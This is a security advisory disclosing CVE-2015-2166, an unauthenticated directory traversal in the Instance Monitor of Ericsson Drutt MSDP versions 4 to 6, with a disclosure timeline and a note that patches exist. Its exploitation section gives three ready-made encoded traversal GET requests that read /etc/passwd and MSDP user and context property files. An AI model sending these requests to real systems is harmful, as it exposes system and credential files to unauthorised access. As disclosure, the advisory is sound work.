Ericsson Drutt MSDP (Instance Monitor) - Directory Traversal

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+ Ericsson Drutt MSDP (Instance Monitor) - Directory Traversal Vulnerability and Arbitrary File Access +

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Affected Product: Ericsson Drutt MSDP (Instance Monitor)

Vendor Homepage  : www.ericsson.com

Version    : 4, 5 and 6 

CVE v2 Vector  : AV:N/AC:L/Au:N/C:P/I:N/A:N

CVE    : CVE-2015-2166

Discovered by  : Anastasios Monachos (secuid0) - [anastasiosm (at) gmail (dot) com]

Patched    : Yes



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+ Description +

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Ericsson Drutt Mobile Service Delivery Platform (MSDP) is a complete business support system providing an SDP center for both on- and off-portal business that includes support for the retail, advertising and wholesale of a wide range of different products and services. The MSDP was originally developed by Drutt Corporation which Ericsson bought back in 2007. Drutt was converted into Ericsson SA SD&P and they are still developing the MSDP. The platform is available in three configurations which also can be combined in the same installation: Storefront, Mobile Marketing and Open Surf.



The identified vulnerability affects the Instance Monitor component and allows a unauthenticated remote attacker to access arbitrary files on the file system. 



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+ Exploitation Details +

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This vulnerability can be triggered via a simple, similar to the below HTTP GET request(s):



  http://<drutt>:<port>/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd

  http://<drutt>:<port>/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fopt/drutt/msdp/manager/conf/props/msdp-users.properties

  http://<drutt>:<port>/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f/opt/drutt/msdp/manager/conf/ccContext.properties



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+ Disclosure Timeline +

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17.Feb.2015 - Contacted Ericsson http://www.ericsson.com/feedback

24.Feb.2015 - Ericsson responded with point of contact at Corporate Security Office

24.Feb.2015 - Contacted Corporate Security Office team

02.Mar.2015 - Ericsson Product Security Incident Response Team reverted via a secure channel

02.Mar.2015 - Shared vulnerability details

06.Mar.2015 - Ericsson confirmed the validity of the issues and started developing the patches

08.Mar.2015 - Agreed on public disclosure timelines

12.Mar.2015 - Patches released

31.Mar.2015 - Public disclosure